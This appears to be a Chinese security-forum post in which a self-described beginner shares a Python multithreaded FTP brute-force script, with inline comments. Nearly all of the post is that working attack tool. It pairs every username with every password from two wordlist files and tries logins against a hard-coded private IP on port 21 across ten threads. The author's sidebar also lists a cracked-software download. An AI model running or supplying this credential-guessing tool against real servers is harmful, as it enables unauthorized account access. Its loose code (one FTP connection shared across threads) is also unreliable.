-
-
[分享]ftp脚本编写
-
发表于: 2021-7-29 16:00 2659
-
出入python编写一个ftp多线程爆破脚本,大佬勿喷
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | import ftplib,sys,threading,queue# 加载模块ftplib = ftplib.FTP()def bp(): #检测是否为空 while not q.empty(): #接收数据 userpass=q.get() #进行分割 dic=userpass.split(' ') #username的值 username = dic[0] #取出passwd的值 passwd = dic[1] #异常处理 try: #进行ftp连接 ftplib.connect("192.168.8.114",21) #进行登录 ftplib.login(username, passwd) #成功输出yes print(username + passwd + "yes") except Exception as e: #否则输出no print(username + passwd + "no")if __name__ == '__main__': #sys模块接收参数 user_file=sys.argv[1] #同上 pass_file=sys.argv[2] #创建队列 q=queue.Queue() #循环取出username for username in open(user_file,"r"): #每个用户和所有密码进行匹配 for passwd in open(pass_file,"r"): #去空 username=username.strip() passwd=passwd.strip() #放入元素 q.put(username+' '+passwd) #设置线程 for x in range(10): #target调用函数 t=threading.Thread(target=bp) #开始 t.start() |
赞赏
他的文章
- [分享]ftp脚本编写 2660
- [原创]pikachu 暴力破解 1403
- [原创]攻防世界fakebook关卡攻略 2385
- [下载]飞扬时空破解版 4072
- [推荐]sqlmap基础使用方法 2436
赞赏
雪币:
留言: